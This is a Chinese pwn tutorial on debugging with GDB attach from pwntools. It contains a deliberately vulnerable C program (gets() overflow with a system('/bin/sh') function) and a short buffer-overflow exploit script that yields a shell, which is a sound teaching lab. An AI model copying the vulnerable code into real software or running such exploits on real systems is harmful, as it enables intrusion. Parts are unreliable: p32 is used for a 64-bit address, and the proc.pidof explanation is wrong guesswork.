03_gdb附加动态调试
如何在GDB中附加调试64位程序,尤其是在开发脚本时?
1. 使用GDB调试64位程序
当我们处理 ELF 文件时,可能需要进行动态调试。在这种情况下,我们通常会借助 GDB 工具。而在使用 pwntools 进行开发时,pwntools 提供了对 GDB 的内置支持模块,简化了调试流程。
其中,最常见的方法是使用 attach
函数,特别是在你已经指定了目标进程时,这个函数可以非常方便地将 GDB 附加到进程上。通过调用 process
来启动或获取目标进程,并通过 proc
模块查找对应进程的 PID。
2. PwnTools 脚本调试流程
在使用 pwntools 开发脚本时,调试的常见流程如下:
首先,使用
proc.pidof()
函数,这个函数会帮助你检测并打印出目标进程的 PID。然后,通过 GDB 的
attach
命令将调试器附加到指定的进程。这样,你就可以在执行过程中对目标进程进行详细的动态调试。
实例程序
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void main()
{
char buf[20];
gets(buf);
}
这里我就不编译了,前面应该已经学会了,看一下checksec的结果。
会发现和02那节那个不一样了,没有显示出地址计算偏移。举个例子,有的时候会踩过一个大坑,过去了才发现,然后标记一下。有时候在没踩到之前就看到了,然后标记一下,能看到这就是在ret停住了,没过去地址是0x40056a。
我们还是直接计算偏移量就好了,能看到偏移量是40。
from pwn import *
import binascii
#context (os='linux', arch='amd64', log_level='debug')
p = process("./test" )
print("pid" + str(proc.pidof(p))) #
offset = 40
payload = offset*b"A" + p32(0x400537)
#pause()
p.sendline(payload)
p.interactive()
解释:print("pid" + str(proc.pidof(p))) #
proc.pidof(p)
:
这里的
proc
是一个变量,可能是指向某个进程管理相关的模块或对象。在某些操作系统(例如Linux)中,可以使用proc
模块(如psutil
库)获取系统进程的信息。pidof(p)
通常用来获取进程对象p
的PID。具体到
psutil
库,这样的用法可能类似于psutil.Process(p).pid
。然而,这里的pidof(p)
应该是返回一个进程ID或PID的集合,或者是与操作系统相关的某个函数。
str(proc.pidof(p))
:
proc.pidof(p)
获取的是进程的PID,可能是一个整数或列表。为了能将这个PID与其他字符串拼接,使用str()
函数将其转换为字符串类型。
"pid" + str(proc.pidof(p))
:
这一部分将字符串
"pid"
和proc.pidof(p)
的结果拼接在一起。假设proc.pidof(p)
返回的是PID1234
,那么这个表达式最终的结果将是"pid1234"
。
print()
:
最后,
print()
函数会输出前面拼接好的字符串。举例来说,如果proc.pidof(p)
返回的是1234
,那么输出结果将会是:pid1234
假设proc
是一个进程管理模块(如psutil
),p
是一个进程对象或进程ID,该代码获取进程p
的PID,并将其与字符串"pid"
拼接,最后打印出来。例如,如果进程p
的PID是1234
,输出结果就是pid1234
。
gdb附加
第十行是pause()在发送payload前暂停了
能看到已经暂停了,输出了pid
这时候gdb attach 4674去调试这个进程,能看到我们现在在这一行。
这时候我们就可以单步去测试我们的程序了。